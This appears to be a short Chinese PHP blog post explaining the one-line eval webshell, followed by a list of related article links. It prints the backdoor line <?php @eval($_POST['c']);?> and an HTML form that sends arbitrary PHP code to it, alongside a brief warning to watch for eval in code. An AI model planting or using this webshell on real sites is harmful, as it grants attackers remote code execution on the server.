php eval函数一句话木马代码


Posted in PHP onMay 21, 2015

eval可以用来执行任何其他php代码,所以对于代码里发现了eval函数一定要小心,可能是木马

就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范

<?php @eval($_POST['c']);?>

使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行

<html> 
<body> 
<form action="a.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>

以上所述就是本文的全部内容了,希望大家能够喜欢。

PHP 相关文章推荐
修改了一个很不错的php验证码(支持中文)
Feb 14 PHP
56.com视频采集接口程序(PHP)
Sep 22 PHP
PHP filter_var() 函数 Filter 函数
Apr 25 PHP
通过PHP current函数获取未知字符键名数组第一个元素的值
Jun 24 PHP
php的sprintf函数的用法 控制浮点数格式
Feb 14 PHP
PHP微框架Dispatch简介
Jun 12 PHP
Yii学习总结之数据访问对象 (DAO)
Feb 22 PHP
php将字符串全部转换成大写或者小写的方法
Mar 17 PHP
解决PHP程序运行时:Fatal error: Maximum execution time of 30 seconds exceeded in的错误提示
Nov 25 PHP
PHP PDOStatement::getAttribute讲解
Feb 01 PHP
laravel dingo API返回自定义错误信息的实例
Sep 29 PHP
php中使用array_filter()函数过滤数组实例讲解
Mar 03 PHP
php结合正则批量抓取网页中邮箱地址
May 19 #PHP
php实现模拟登陆方正教务系统抓取课表
May 19 #PHP
PHP IDE phpstorm 常用快捷键
May 18 #PHP
PHP网络操作函数汇总
May 18 #PHP
PHP面向对象之后期静态绑定功能介绍
May 18 #PHP
php中关于socket的系列函数总结
May 18 #PHP
php简单socket服务器客户端代码实例
May 18 #PHP
You might like
php数据库连接
2006/10/09 PHP
ThinkPHP中I(),U(),$this-&gt;post()等函数用法
2014/11/22 PHP
php生成图片验证码
2015/06/09 PHP
php metaphone()函数的定义和用法
2016/05/15 PHP
PHP单链表的实现代码
2016/07/05 PHP
Yii 框架控制器创建使用及控制器响应操作示例
2019/10/14 PHP
PHP基于进程控制函数实现多线程
2020/12/09 PHP
用ADODB.Stream转换
2007/01/22 Javascript
基于Jquery的文字滚动跑马灯插件(一个页面多个滚动区)
2010/07/26 Javascript
JQuery打造省市下拉框联动效果
2014/05/18 Javascript
javascript常用代码段搜集
2014/12/04 Javascript
基于JavaScript实现复选框的全选和取消全选
2017/02/09 Javascript
微信小程序 参数传递实例代码
2017/03/20 Javascript
从零开始学习Node.js系列教程五:服务器监听方法示例
2017/04/13 Javascript
js表单序列化判断空值的实例
2017/09/22 Javascript
基于模板引擎Jade的应用(详解)
2017/12/12 Javascript
js原生方法被覆盖,从新赋值原生的方法
2018/01/02 Javascript
Vue-cli中为单独页面设置背景色的实现方法
2018/02/11 Javascript
基于jQuery ztree实现表格风格的树状结构
2018/08/31 jQuery
使用vue-router与v-if实现tab切换遇到的问题及解决方法
2018/09/07 Javascript
JavaScript展开操作符(Spread operator)详解
2019/07/20 Javascript
vue-router 中 meta的用法详解
2019/11/01 Javascript
python的绘图工具matplotlib使用实例
2014/07/03 Python
Python调用SQLPlus来操作和解析Oracle数据库的方法
2016/04/09 Python
详解Python中的Descriptor描述符类
2016/06/14 Python
python中的迭代和可迭代对象代码示例
2017/12/27 Python
Python3实现的字典遍历操作详解
2018/04/18 Python
python语言基本语句用法总结
2019/06/11 Python
Python解析json时提示“string indices must be integers”问题解决方法
2019/07/31 Python
Django admin禁用编辑链接和添加删除操作详解
2019/11/15 Python
Pytorch中index_select() 函数的实现理解
2019/11/19 Python
python 检查数据中是否有缺失值,删除缺失值的方式
2019/12/02 Python
基于python实现模拟数据结构模型
2020/06/12 Python
联想韩国官网:Lenovo Korea
2018/05/10 全球购物
意大利珠宝店:Luxury Zone
2019/01/05 全球购物
2015年上半年党建工作总结
2015/03/30 职场文书